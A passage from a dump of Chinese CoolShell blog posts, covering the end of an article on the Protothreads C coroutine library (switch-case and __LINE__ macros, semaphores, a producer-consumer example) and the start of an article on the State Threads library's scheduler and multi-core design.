 static int i, state = 0;\n  switch (state) {\n    case 0: /* start of function */\n    for (i = 0; i < 10; i++) {\n      state = 1; /* so we will come back to \"case 1\" */\n      return i;\n      case 1:; /* resume control straight after the return */\n    }\n  }\n}\n```\n\n酷！没想到 switch-case 语句可以这样用，其实说白了 C 语言就是脱胎于汇编语言的，switch-case 跟 if-else 一样，无非就是汇编的条件跳转指令的另类实现而已（这也间接解释了为何汇编程序员经常揶揄 C 语言是“大便一样的代码”）。我们还可以用 \\_\\_LINE\\_\\_ 宏使其更加一般化：\n\n\n\n```\nint function(void) {\n  static int i, state = 0;\n  switch (state) {\n    case 0: /* start of function */\n    for (i = 0; i < 10; i++) {\n      state = __LINE__ + 2; /* so we will come back to \"case __LINE__\" */\n      return i;\n      case __LINE__:; /* resume control straight after the return */\n    }\n  }\n}\n```\n\n这样一来我们可以用宏提炼出一种范式，封装成组件：\n\n\n\n```\n#define Begin() static int state=0; switch(state) { case 0:\n#define Yield(x) do { state=__LINE__; return x; case __LINE__:; } while (0)\n#define End() }\nint function(void) {\n  static int i;\n  Begin();\n  for (i = 0; i < 10; i++)\n    Yield(i);\n  End();\n}\n```\n\n怎么样，看起来像不像发明了一种全新的语言？**实际上我们利用了 switch-case 的分支跳转特性，以及预编译的 \\_\\_LINE\\_\\_ 宏，实现了一种隐式状态机，最终实现了“yield 语义”。**\n\n\n还有一个问题，当你欢天喜地地将这种鲜为人知的技巧运用到你的项目中，并成功地拿去向你的上司邀功问赏的时候，你的上司会怎样看待你的代码呢？你的宏定义中大括号没有匹配完整，在代码块中包含了未用到的 case，Begin 和 Yield 宏里面不完整的七拼八凑……你简直就是公司里不遵守编码规范的反面榜样！\n\n\n别着急，在原文中 Simon Tatham 大牛帮你找到一个坚定的反驳理由，我觉得对程序员来说简直是金玉良言。\n\n\n将编程规范用在这里是不对的。文章里给出的示例代码不是很长，也不很复杂，即便以状态机的方式改写还是能够看懂的。但是随着代码越来越长，改写的难度将越来越大，改写对直观性造成的损失也变得相当相当大。\n\n\n想一想，一个函数如果包含这样的小代码块：\n\n\n\n```\ncase STATE1:\n/* perform some activity */\nif (condition) state = STATE2; else state = STATE3;\n```\n\n对于看代码的人说，这和包含下面小代码块的函数没有多大区别：\n\n\n\n```\nLABEL1:\n/* perform some activity */\nif (condition) goto LABEL2; else goto LABEL3;\n```\n\n是的，这两个函数的结构在视觉上是一样的，而对于函数中实现的算法，两个函数都一样不利于查看。因为你使用协程的宏而炒你鱿鱼的人，一样会因为你写的函数是由小块的代码和 goto 语句组成而吼着炒了你。只是这次他们没有冤枉你，因为像那样设计的函数会严重扰乱算法的结构。\n\n\n**编程规范的目标就是为了代码清晰。**如果将一些重要的东西，像 switch、return 以及 case 语句，隐藏到起“障眼”作用的宏中，从编程规范的角度讲，可以说你扰乱了程序的语法结构，并且违背了代码清晰这一要求。但是我们这样做是为了突出程序的算法结构，而算法结构恰恰是看代码的人更想了解的。\n\n\n**任何编程规范，坚持牺牲算法清晰度来换取语法清晰度的，都应该重写。**如果你的上司因为使用了这一技巧而解雇你，那么在保安把你往外拖的时候要不断告诉他这一点。\n\n\n原文作者最后给出了一个 MIT 许可证的 [coroutine.h](http://www.chiark.greenend.org.uk/~sgtatham/coroutine.h \"http://www.chiark.greenend.org.uk/~sgtatham/coroutine.h\") 头文件。值得一提的是，正如文中所说，这种协程实现方法有个使用上的局限，就是**协程调度状态的保存依赖于 static 变量，而不是堆栈上的局部变量**，实际上也无法用局部变量（堆栈）来保存状态，这就使得代码不具备可重入性和多线程应用。后来作者补充了一种技巧，就是将局部变量包装成函数参数传入的一个虚构的上下文结构体指针，然后用动态分配的堆来“模拟”堆栈，解决了线程可重入问题。但这样一来反而有损代码清晰，比如所有局部变量都要写成对象成员的引用方式，特别是局部变量很多的时候很麻烦，再比如宏定义 malloc/free 的玩法过于托大，不易控制，搞不好还增加了被炒鱿鱼的风险（只不过这次是你活该）。\n\n\n我个人认为，既然协程本身是一种单线程的方案，那么我们应该假定应用环境是单线程的，不存在代码重入问题，所以我们可以大胆地使用 static 变量，维持代码的简洁和可读性。事实上**我们也不应该在多线程环境下考虑使用这么简陋的协程**，非要用的话，前面提到 glibc 的 ucontext 组件也是一种可行的替代方案，它提供了一种协程私有堆栈的上下文，当然这种用法在跨线程上也并非没有限制，请仔细阅读联机文档。\n\n\n#### Protothreads的上下文\n\n\n感谢 Simon Tatham 的淳淳教诲，接下来我们可以 hack 一下源码了。先来看看实现 protothreads 的数据结构， 实际上它就是协程的**上下文结构体**，用以保存状态变量，相信你很快就明白为何它的“堆栈”只有 2 个字节：\n\n\n\n```\nstruct pt {\n  lc_t lc;\n}\n```\n\n里面只有一个 short 类型的变量，实际上它是用来保存上一次出让点的程序计数器。这也映证了协程比线程的灵活之处，就是协程可以是 stackless 的，如果需要实现的功能很单一，比如像生产者-消费者模型那样用来做事件通知，那么实际上协程需要保存的状态变量仅仅是一个程序计数器即可。像 python generator 也是 stackless 的，当然实现一个迭代生成器可能还需要保留上一个迭代值，前面 C 的例子是用 static 变量保存，你也可以设置成员变量添加到上下文结构体里面。如果你真的不确定用协程调度时需要保存多少状态变量，那还是用 ucontext 好了，它的上下文提供了堆栈和信号，但是由用户负责分配资源，详细使用方法见联机文档。。\n\n\n\n```\ntypedef struct ucontext {\n  struct ucontext_t *uc_link;\n  sigset_t uc_sigmask;\n  stack_t uc_stack;\n  ...\n} ucontext_t;\n```\n\n#### Protothreads的原语和组件\n\n\n有点扯远了，回到 protothreads，看看提供的协程“原语”。有两种实现方法，在 ANSI C 下，就是传统的 switch-case 语句：\n\n\n\n```\n#define LC_INIT（s） s = 0;  // 源码中是有分号的，一个低级 bug，啊哈～\n#define LC_RESUME(s) switch (s) { case 0:\n#define LC_SET(s) s = __LINE__; case __LINE__:\n#define LC_END(s) }\n\n```\n\n但这种“原语”有个难以察觉的缺陷：**就是你无法在 LC\\_RESUME 和 LC\\_END （或者包含它们的组件）之间的代码中使用 switch-case语句，因为这会引起外围的 switch 跳转错误！**为此，protothreads 又实现了基于 GNU C 的调度“原语”。在 GNU C 下还有一种语法糖叫做标签指针，就是在一个 label 前面加 &&（不是地址的地址，是 GNU 自定义的符号），可以用 void 指针类型保存，然后 goto 跳转：\n\n\n\n```\ntypedef void * lc_t；\n#define LC_INIT(s) s = NULL\n#define LC_RESUME(s) \\\n  do { \\\n    if (s != NULL) { \\\n      goto *s; \\\n    }\n  } while (0)\n#define LC_CONCAT2(s1, s2) s1##s2\n#define LC_CONCAT(s1, s2) LC_CONCAT2(s1, s2)\n#define LC_SET(s) \\\n  do { \\\n    LC_CONCAT(LC_LABEL, __LINE__): \\\n    （s） = &&LC_CONCAT(LC_LABEL, __LINE__); \\\n  } while (0)\n```\n\n好了，有了前面的基础知识，理解这些“原语”就是小菜一叠，下面看看如何建立“组件”，同时也是 protothreads API，我们先定义四个退出码作为协程的**调度状态机**：\n\n\n\n```\n#define PT_WAITING 0\n#define PT_YIELDED 1\n#define PT_EXITED  2\n#define PT_ENDED   3\n```\n\n下面这些 API 可直接在应用程序中调用：\n\n\n\n```\n/* 初始化一个协程，也即初始化状态变量 */\n#define PT_INIT(pt) LC_INIT((pt)->lc)\n\n/* 声明一个函数，返回值为 char 即退出码，表示函数体内使用了 proto thread，（个人觉得有些多此一举） */\n#define PT_THREAD(name_args) char name_args\n\n/* 协程入口点， PT_YIELD_FLAG=0表示出让，=1表示不出让，放在 switch 语句前面，下次调用的时候可以跳转到上次出让点继续执行 */\n#define PT_BEGIN(pt) { char PT_YIELD_FLAG = 1; LC_RESUME((pt)->lc)\n\n/* 协程退出点，至此一个协程算是终止了，清空所有上下文和标志 */\n#define PT_END(pt) LC_END((pt)->lc); PT_YIELD_FLAG = 0; \\\n                   PT_INIT(pt); return PT_ENDED; }\n\n/* 协程出让点，如果此时协程状态变量 lc 已经变为 __LINE__ 跳转过来的，那么 PT_YIELD_FLAG = 1，表示从出让点继续执行。 */\n#define PT_YIELD(pt)        \\\n  do {            \\\n    PT_YIELD_FLAG = 0;        \\\n    LC_SET((pt)->lc);       \\\n    if(PT_YIELD_FLAG == 0) {      \\\n      return PT_YIELDED;      \\\n    }           \\\n  } while(0)\n\n/* 附加出让条件 */\n#define PT_YIELD_UNTIL(pt, cond)    \\\n  do {            \\\n    PT_YIELD_FLAG = 0;        \\\n    LC_SET((pt)->lc);       \\\n    if((PT_YIELD_FLAG == 0) || !(cond)) { \\\n      return PT_YIELDED;      \\\n    }           \\\n  } while(0)\n\n/* 协程阻塞点(blocking),本质上等同于 PT_YIELD_UNTIL，只不过退出码是 PT_WAITING，用来模拟信号量同步 */\n#define PT_WAIT_UNTIL(pt, condition)          \\\n  do {            \\\n    LC_SET((pt)->lc);       \\\n    if(!(condition)) {        \\\n      return PT_WAITING;      \\\n    }           \\\n  } while(0)\n\n/* 同 PT_WAIT_UNTIL 条件反转 */\n#define PT_WAIT_WHILE(pt, cond)  PT_WAIT_UNTIL((pt), !(cond))\n\n/* 协程调度，调用协程 f 并检查它的退出码，直到协程终止返回 0，否则返回 1。 */\n#define PT_SCHEDULE(f) ((f) < PT_EXITED)\n\n/* 这用于非对称协程，调用者是主协程，pt 是和子协程 thread （可以是多个）关联的上下文句柄，主协程阻塞自己调度子协程，直到所有子协程终止 */\n#define PT_WAIT_THREAD(pt, thread) PT_WAIT_WHILE((pt), PT_SCHEDULE(thread))\n\n/* 用于协程嵌套调度，child 是子协程的上下文句柄 */\n#define PT_SPAWN(pt, child, thread)   \\\n  do {            \\\n    PT_INIT((child));       \\\n    PT_WAIT_THREAD((pt), (thread));   \\\n  } while(0)\n```\n\n暂时介绍这么多，用户还可以根据自己的需求随意扩展组件，比如实现信号量，你会发现脱离了操作系统环境下的信号量竟是如此简单：\n\n\n\n```\nstruct pt_sem {\n  unsigned int count;\n};\n\n#define PT_SEM_INIT(s, c) (s)->count = c\n\n#define PT_SEM_WAIT(pt, s)  \\\n  do {            \\\n    PT_WAIT_UNTIL(pt, (s)->count > 0);    \\\n    --(s)->count;       \\\n  } while(0)\n\n#define PT_SEM_SIGNAL(pt, s) ++(s)->count\n```\n\n这些应该不需要我多说了吧，呵呵，让我们回到最初例举的生产者-消费者模型，看看protothreads表现怎样。\n\n\n#### Protothreads实战\n\n\n\n```\n#include \"pt-sem.h\"\n\n#define NUM_ITEMS 32\n#define BUFSIZE 8\n\nstatic struct pt_sem mutex, full, empty;\n\nPT_THREAD(producer(struct pt *pt))\n{\n  static int produced;\n\n  PT_BEGIN(pt);\n  for (produced = 0; produced < NUM_ITEMS; ++produced) {\n    PT_SEM_WAIT(pt, &full);\n    PT_SEM_WAIT(pt, &mutex);\n    add_to_buffer(produce_item());\n    PT_SEM_SIGNAL(pt, &mutex);\n    PT_SEM_SIGNAL(pt, &empty);\n  }\n  PT_END(pt);\n}\n\nPT_THREAD(consumer(struct pt *pt))\n{\n  static int consumed;\n\n  PT_BEGIN(pt);\n  for (consumed = 0; consumed < NUM_ITEMS; ++consumed) {\n    PT_SEM_WAIT(pt, &empty);\n    PT_SEM_WAIT(pt, &mutex);\n    consume_item(get_from_buffer());\n    PT_SEM_SIGNAL(pt, &mutex);\n    PT_SEM_SIGNAL(pt, &full);\n  }\n  PT_END(pt);\n}\n\nPT_THREAD(driver_thread(struct pt *pt))\n{\n  static struct pt pt_producer, pt_consumer;\n\n  PT_BEGIN(pt);\n  PT_SEM_INIT(&empty, 0);\n  PT_SEM_INIT(&full, BUFSIZE);\n  PT_SEM_INIT(&mutex, 1);\n  PT_INIT(&pt_producer);\n  PT_INIT(&pt_consumer);\n  PT_WAIT_THREAD(pt, producer(&pt_producer) & consumer(&pt_consumer));\n  PT_END(pt);\n}\n```\n\n源码包中的 example-buffer.c 包含了可运行的完整示例，我就不全部贴了。整体框架就是一个 asymmetric coroutines，包括一个主协程 driver\\_thread 和两个子协程 producer 和 consumer ，其实不用多说大家也懂的，代码非常清晰直观。我们完全可以通过单线程实现一个简单的事件处理需求，你可以任意添加数十万个协程，几乎不会引起任何额外的系统开销和资源占用。唯一需要留意的地方就是没有一个局部变量，因为 protothreads 是 stackless 的，但这不是问题，首先我们已经假定运行环境是单线程的，其次在一个简化的需求下也用不了多少“局部变量”。如果在协程出让时需要保存一些额外的状态量，像迭代生成器，只要数目和大小都是确定并且可控的话，自行扩展协程上下文结构体即可。\n\n\n当然这不是说 protothreads 是万能的，它只是贡献了一种模型，你要使用它首先就得学会适应它。下面列举一些 protothreads 的使用限制：\n\n\n* 由于协程是stackless的，尽量不要使用局部变量，除非该变量对于协程状态是无关紧要的，同理可推，协程所在的代码是不可重入的。\n\n\n* 如果协程使用 switch-case 原语封装的组件，那么禁止在实际应用中使用 switch-case 语句，除非用 GNU C 语法中的标签指针替代。\n\n\n* 一个协程内部可以调用其它例程，比如库函数或系统调用，但必须保证该例程是非阻塞的，否则所在线程内的所有协程都将被阻塞。毕竟线程才是执行的最小单位，协程不过是按“时间片轮度”的例程而已。\n\n\n官网上还例举了更多[实例](http://dunkels.com/adam/pt/examples.html \"http://dunkels.com/adam/pt/examples.html\")，都非常实用。另外，一个叫 Craig Graham 的工程师扩展了 pt.h，使得 protothreads 支持 sleep/wake/kill 等操作，文件在此 [graham-pt.h](http://dunkels.com/adam/download/graham-pt.h \"http://dunkels.com/adam/download/graham-pt.h\")。\n\n\n#### 协程库 DIY 攻略\n\n\n看到这里，手养的你是否想迫不及待地 DIY 一个协程组件呢？哪怕很多动态语言本身已经支持了协程语义，很多 C 程序员仍然倾向于自己实现组件，网上很多开源代码底层用的主要还是 glibc 的 ucontext 组件，毕竟提供堆栈的协程组件使用起来更加通用方便。你可以自己写一个调度器，然后模拟线程上下文，再然后……你就能搞出一个跨平台的COS了（笑）。GNU Pth 线程库就是这么实现的，其原作者德国人 [Ralf S. Engelschall](http://engelschall.com/ \"http://engelschall.com/\") （又是个开源大牛，还写了 [OpenSSL 等许多作品](http://engelschall.com/software-artist.php \"http://engelschall.com/software-artist.php\")）就写了一篇[论文](http://xmailserver.org/rse-pmt.pdf \"http://xmailserver.org/rse-pmt.pdf\")教大家如何实现一个线程库。另外 protothreads 官网上也有一大堆[推荐阅读](http://dunkels.com/adam/pt/links.html \"http://dunkels.com/adam/pt/links.html\")。Have fun！\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![无锁队列的实现](../wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg)](https://coolshell.cn/articles/8239.html)[无锁队列的实现](https://coolshell.cn/articles/8239.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\nThe post [一个“蝇量级” C 语言协程库](https://coolshell.cn/articles/10975.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-10-12 State Threads 回调终结者.md",
    "content": "---\nlayout: post\ntitle: State Threads 回调终结者\ndate: 2014/10/12/ 14:48:57\nupdated: 2014/10/12/ 14:48:57\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢网友**[**@我的上铺叫路遥**](http://weibo.com/fullofbull)**投稿）**\n\n\n上回写了篇[《一个“蝇量级”C语言协程库》](https://coolshell.cn/articles/10975.html \"一个“蝇量级” C 语言协程库\")，推荐了一下[Protothreads](http://dunkels.com/adam/pt/ \"Protothreads\")，通过coroutine模拟了用户级别的multi-threading模型，虽然本身足够“轻”，杜绝了系统开销，但这个库本身应用场合主要是内存限制的嵌入式领域，提供原生态组件太少，使用限制太多，比如依赖其它调用产生阻塞等。\n\n\n这回又替大家在开源界淘了个宝，推荐一个轻量级网络应用框架**State Threads**（以下简称ST），总共也就3000行C代码，跟Protothreads不同在于ST针对的就是**高性能可扩展服务器**领域（值得一提的是Protothreads官网[参考链接](http://dunkels.com/adam/pt/links.html \"参考链接\")上第一条就是ST的官网）。在其[FAQ](http://state-threads.sourceforge.net/docs/faq.html \"FAQ\")页面上一句引用”Perfection is achieved not when there is nothing more to add, but rather when there is nothing more to take away.”可以视为开发人员对ST源码质量的自信。\n\n\n#### 历史渊源\n\n\n首先介绍一下这个库的历史渊源，从代码贡献者来看，ST不是个人作品，而是有着雄厚的商业支持和应用背景，比如服务器领域，在[这里](http://state-threads.sourceforge.net/news.html)你可以看到ST曾作为Apache的多核应用模块发布。其诞生最初是由网景（Netscape）公司的MSPR（Netscape Portable Runtime library）项目中剥离出来，后由SGI（Silicon Graphic Inc）还有Yahoo!公司（前者是主力）开发维护的独立线程库。历史版本方面，作为[SourceForge](http://sourceforge.net/projects/state-threads/files/ \"SourceForge\")上开源项目，由2001年发布v1.0以来一直到2009年v1.9稳定版后未再变动。在平台移植方面，从Makefile的配置选项中可知ST支持多种Unix-like平台，还有专门针对Win32的源码改写。源码例子中，提供了web server、proxy以及dns三种编程实例供参考。可以说代码质量应该是相当的稳定和可靠的。\n\n\n\n至于许可证方面，有必要略作说明。出于历史原因，网景最初发布时选择了MPL1.1许可证，而后SGI在维护中又混进了GPLv2许可证，照理说这两种许可证是互不兼容的（MPL1.1后续版本是GPL兼容的），也就是说用双许可证打包发布理论上是非法无效的，见GNU官网上[MPL兼容性](http://www.gnu.org/licenses/license-list.html#MPL \"GPL兼容\")一节。但这里有值得商榷的地方，因为文中又提及，根据MPL1.1中某条款第13节，如果整段或部分代码允许采用另一许可证作为备用（alternate）选择，比如GPL及其兼容，那么整个库的许可证就可视为GPL兼容的。如此一来所谓GPL兼容性一般解释为你不能在GPLv2的代码中混入MPL1.1，而不是说你不能在MPL1.1代码中混入GPLv2，也就是说GPLv2在MPL1.1之后是可以接受的，事实上SGI就采用了后面的做法，尚未引起版权上的纠纷。为此我还考证了一下FAQ上[license](http://state-threads.sourceforge.net/docs/faq.html \"license\")一节的说法，说ST既可以在MPL和GPL之间选择一种，也可以继续用双许可证，还补了一句在non-free项目使用上也没有限制，但对ST源码所做改动必须对用户可见。在源码文件中的SGI的附加声明还解释了将ST转为GPL代码的做法，就是可以删除前面MPL的声明，否则后续用户仍可以在两者之间二选一。个人觉得既然SGI都这样发话了，那么可解释为反之删除GPL的声明继续采用MPL也是可以接受的，如果你对双许可证承诺仍不放心的话。\n\n\n#### 基于事件驱动状态机（EDSM）\n\n\n好了，下面该进入技术性话题了。前面说了ST的目标是**高性能可扩展**，其技术特征一言以蔽之就是\n\n\n\n> **“It combines the simplicity of the multi-threaded programming paradigm, in which one thread supports each simultaneous connection, with the performance and scalability of an event-driven state machine (EDSM) architecture.”**\n> \n> \n\n\n我们先来纵向比较ST与传统的EDSM区别，再来横向比较与其它线程库（比如Pthread）的区别（注：以下图片全部来自[State Threads Library FAQ](http://state-threads.sourceforge.net/docs/faq.html \"ST FAQ\")）。\n\n\n传统EDSM最常见的方式就是I/O事件的**异步回调**。基本上都会有一个叫做dispatcher的单线程主循环（又叫event loop），用户通过向dispatcher注册回调函数（又叫event handler）来实现异步通知，从而不必在原地空耗资源干等，在dispatcher主循环中通过select()/poll()系统调用来等待各种I/O事件的发生，当内核检测到事件触发并且数据可达或可用时，select()/poll()会返回从而使dispatcher调用相应的回调函数来对处理用户的请求。所以异步回调与其说是通知，不如说用委托更恰当。\n\n\n整个过程都是单线程的。**这种处理本质上就是将一堆互不相交（disjoint）的回调实现同步控制，就像串联在一个顺序链表上。**见图1，黑色的双箭头表示I/O事件复用，回调是个筐，里面装着对各种请求的处理（当然不是每个请求都有回调，一个请求也可以对应不同的回调），每个回调被串联起来由dispatcher激活。这里请求等价于thread的概念（不是操作系统的线程），只不过“上下文切换”（context switch）发生在每个回调结束之时（假设不同请求对应不同回调），注册下一个回调以待事件触发时恢复其它请求的处理。至于dispatcher的执行状态（execute state）可作为回调函数的参数保存和传递。\n\n\n![EDSM](../wp-content/uploads/2014/10/edsm.gif)\n\n\n异步回调的缺陷在于**难以实现和扩展**，虽然已经有libevent这样的通用库，以及其它actor/reacotor的设计模式及其框架，但正如Dean Gaudet（Apache开发者）所说：“其内在的复杂性——**将线性思维分解成一堆回调的负担**（breaking up linear thought into a bucketload of callbacks）——仍然存在”。从上图可见，**回调之间请求例程不是连续的，比如回调之间的切换会打断部分请求，又比如有新的请求需要重新注册。**\n\n\n**ST本质上仍然是基于EDSM模型，但旨在取代传统的异步回调方式。**ST将请求抽象为thread概念以更接近自然编程模式（所谓的linear thought吧，就像操作系统的线程之间切换那样自然）。ST的调度器（scheduler）对于用户来说是透明的，不像dispatcher那种将执行状态（execute state）暴露给回调方式。每个thread的现场环境可以保存在栈上（一段连续的大小确定的内存空间），由C的运行环境管理。从图2看到，**ST的threads可以并发地线性地处理I/O事件，模型比异步回调简单得多。**\n\n\n![State Threads](../wp-content/uploads/2014/10/st_edsm.gif)\n\n\n这里稍微解释一下ST调度工作原理，ST运行环境维护了四种队列，分别是IOQ、RUNQ、SLEEPQ以及ZOMBIEQ，**当每个thread处于不同队列中对应不同的状态（ST顾名思义所谓thread状态机）。**比如polling请求的时候，当前thread就加入IOQ表示等待事件（如果有timeout同时会被放到SLEEPQ中），当事件触发时，thread就从IOQ（如果有timeout同时会从SLEEPQ）移除并转移到RUNQ等待被调度，成为当前的running thread，相当于操作系统的就绪队列，跟传统EDSM对应起来就是注册回调以及激活回调。再比如模拟同步控制wait/sleep/lock的时候，当前thread会被放入SLEEPQ，直到被唤醒或者超时再次进入RUNQ以待调度。\n\n\n**ST的调度具备性能与内存双重优点**：在性能上，ST实现自己的setjmp/longjmp来模拟调度，无任何系统开销，并且context（就是jmp\\_buf）针对不同平台和架构用底层语言实现的，可移植性媲美libc。下面放一段代码解释一下调度实现：\n\n\n\n```\n/*\n * Switch away from the current thread context by saving its state \n * and calling the thread scheduler\n */\n#define _ST_SWITCH_CONTEXT(_thread)       \\\n    ST_BEGIN_MACRO                        \\\n    if (!MD_SETJMP((_thread)->context)) { \\\n      _st_vp_schedule();                  \\\n    }                                     \\\n    ST_END_MACRO\n\n/*\n * Restore a thread context that was saved by _ST_SWITCH_CONTEXT \n * or initialized by _ST_INIT_CONTEXT\n */\n#define _ST_RESTORE_CONTEXT(_thread)   \\\n    ST_BEGIN_MACRO                     \\\n    _ST_SET_CURRENT_THREAD(_thread);   \\\n    MD_LONGJMP((_thread)->context, 1); \\\n    ST_END_MACRO\n\nvoid _st_vp_schedule(void)\n{\n    _st_thread_t *thread;\n\n    if (_ST_RUNQ.next != &_ST_RUNQ) {\n        /* Pull thread off of the run queue */\n        thread = _ST_THREAD_PTR(_ST_RUNQ.next);\n        _ST_DEL_RUNQ(thread);\n    } else {\n        /* If there are no threads to run, switch to the idle thread */\n        thread = _st_this_vp.idle_thread;\n    }\n    ST_ASSERT(thread->state == _ST_ST_RUNNABLE);\n\n    /* Resume the thread */\n    thread->state = _ST_ST_RUNNING;\n    _ST_RESTORE_CONTEXT(thread);\n}\n\n```\n\n如果你熟悉setjmp/longjmp的用法，你就知道当前thread在调用MD\\_SETJMP将现场上下文保存在jmp\\_buf中并返回返回0，然后自己调用\\_st\\_vp\\_schedule()将自己调度出去。调度器先从RUNQ上找，如果队列为空就找idle thread，这是在整个ST初始化时创建的一个特殊thread，然后将当前线程设为自己，再调用MD\\_LONGJMP切换到其上次调用MD\\_SETJMP的地方，从thread->context恢复现场并返回1，该thread就接着往下执行了。**整个过程就同EDSM一样发生在操作系统单线程下，所以没有任何系统开销与阻塞。**\n\n\n**其实真正的阻塞是发生在等待I/O事件复用上，也就是select()/poll()，这是整个ST唯一的系统调用。**ST当前的状态是，整个环境处于空闲状态，所有threads的请求处理都已经完成，也就是RUNQ为空。这时在\\_st\\_idle\\_thread\\_start维护了一个主循环（类似于event loop），主要负责三种任务：1.对IOQ所有thread进行I/O复用检测；2.对SLEEPQ进行超时检查；3.将idle thread调度出去，代码如下：\n\n\n\n```\n\nvoid *_st_idle_thread_start(void *arg)\n{\n    _st_thread_t *me = _ST_CURRENT_THREAD();\n\n    while (_st_active_count > 0) {\n        /* Idle vp till I/O is ready or the smallest timeout expired */\n        _ST_VP_IDLE();\n\n        /* Check sleep queue for expired threads */\n        _st_vp_check_clock();\n\n        me->state = _ST_ST_RUNNABLE;\n        _ST_SWITCH_CONTEXT(me);\n    }\n\n    /* No more threads */\n    exit(0);\n\n    /* NOTREACHED */\n    return NULL;\n}\n```\n\n这里的me就是idle thread，因为\\_st\\_idle\\_thread\\_start就是创建idle thread的启动点，每从上次\\_ST\\_SWITCH\\_CONTEXT()切换回来的时候，接着在\\_ST\\_VP\\_IDLE()里轮询I/O事件的发生，一旦检测到发生了别的thread事件或者SLEEPQ里面发生超时，再用\\_ST\\_SWITCH\\_CONTEXT()把自己切换出去，如果此时RUNQ中非空的话就切换到队列第一个thread。这里主循环是不会退出的。\n\n\n在内存方面，**ST的执行状态作为局部变量保存在栈上，而不是像回调需要动态分配，**用户可能分别这样使用thread模式和callback模式：\n\n\n\n```\n/* thread land */\nint foo()\n{\n    int local1;\n    int local2;\n    do_some_io();\n}\n\n/* callback land */\nstruct foo_data {\n    int local1;\n    int local2;\n};\n\nvoid foo_cb(void *arg)\n{\n    struct foo_data *locals = arg;\n    ...\n}\n\nvoid foo()\n{\n    struct foo_data *locals = malloc(sizeof(struct foo_data));\n    register(foo_cb, locals);\n}\n\n```\n\n#### 基于Mult-Threading范式\n\n\n同样基于multi-threading编程范式，ST同其它线程库又有和有点呢？比如Posix Thread（以下简称PThread）是个通用的线程库，它是**将用户级线程（thread）同内核执行对象（kernel execution entity，有些书又叫lightweight processes）做了1:1或m:n映射，**从而实现multi-threading模式。**而ST是单线程（n:1映射），它的thread实际上就是协程（coroutine）。**通常的网络应用上，多线程范式绕不开操作系统，但在某些特定的服务器领域，线程间的共享资源会带来额外复杂度，锁、竞态、并发、文件句柄、全局变量、管道、信号等，面对这些Pthread的灵活性会大打折扣。**而ST的调度是精确的，它只会在明确的I/O和同步函数调用点上发生上下文切换，这正是协程的特性，如此一来ST就不需要互斥保护了，进而也可以放心使用任何静态变量和不可重入库函数了**（这在同样作为协程的Protothreads里是不允许的，因为那是stack-less的，无法保存上下文），极大的简化了编程和调试同时增加了性能。\n\n\n对于同样用户级线程如GNU Pth和MIT Phread比起来呢？有两点，一是ST的thread是**无优先级的非抢占式调度**，也就是说ST基于EDSM的，每个thread都是事件或数据驱动，迟早会把自己调度出去，而且调度点是明确的，并非按时间片来的，从而简化了thread管理；二是ST会**忽略所有信号处理**，在\\_st\\_io\\_init中会把sigact.sa\\_handler设为SIG\\_IGN，这样做是因为将thread资源最小化，避免了signal mask及其系统调用（在ucontext上是避免不了的）。但这并不意味着ST就不能处理信号，实际上ST建议将信号写入pipe的方式转化为普通I/O事件处理，示例详见[这里](http://state-threads.sourceforge.net/docs/notes.html#signals \"signal handling\")。\n\n\n这里顺便说一句，**C语言实现的协程据我所知只有三种方式**：Protothread为代表利用switch-case语义跳转，以ST为代表不依赖libc的setjmp/longjmp上下文切换，以及依赖glibc的ucontext接口（[云风的coroutine](https://github.com/cloudwu/coroutine \"云风的coroutine\")）。第一种最轻，但受限最大，第三种耗资源性能慢（陈皓注：glibc的ucontext接口的实现中有一个和信号有关的系统调用，所以会慢，估计在一些情况下会比pthread还慢），目前看来ST是最好使的。\n\n\n#### 基于多核环境\n\n\n下面来聊聊ST在多核环境下的应用。服务器领域多核的优势在于实现了物理上真正的并发，所以如何充分利用系统优势也是线程库的一大难点。这对ST来说也许正是它的拿手好戏，前面提及ST曾作为Apache的多核引擎模块发布。这里要补充一下前面漏掉的ST的一个重要概念——**虚拟处理器**（virtual processor，简称vp），见图3，多个cpu通过内核的SMP模拟出多个“核”（core），一个core对应一个内核任务（kernel task），同时对应一个用户进程（process），一个process对应ST的一个vp，每个vp下就是ST的thread（是协程不是线程），结合前面所述，vp初始化先创建idle thread，然后根据I/O事件驱动其它threads，这就是ST的多核架构。\n\n\n![multi-core](../wp-content/uploads/2014/10/st_app.gif)\n\n\n这里要指出的是，**ST只负责自身thread调度，进程管理是应用程序的事情，**也就是说由用户来决定fork多少进程，每个进程分配多少资源，如何进行IPC等。这种架构的好处就是每个vp有自己独立的空间，避免了资源同步竞态（比如杜绝了多进程里的多线程这样混乱的模型）。我们知道这种**基于进程的架构是非常健壮的，一个进程奔溃不会影响到其它进程，同时充分利用多核硬件的高并发。**同时对于具体逻辑业务使用vp里的thread处理，这是基于EDSM的，如此一来做到了**逻辑业务与内核执行对象之间的解耦**，没必要因为1K个连接去创建1K的进程。这就是ST的扩展性和灵活性。\n\n\n#### 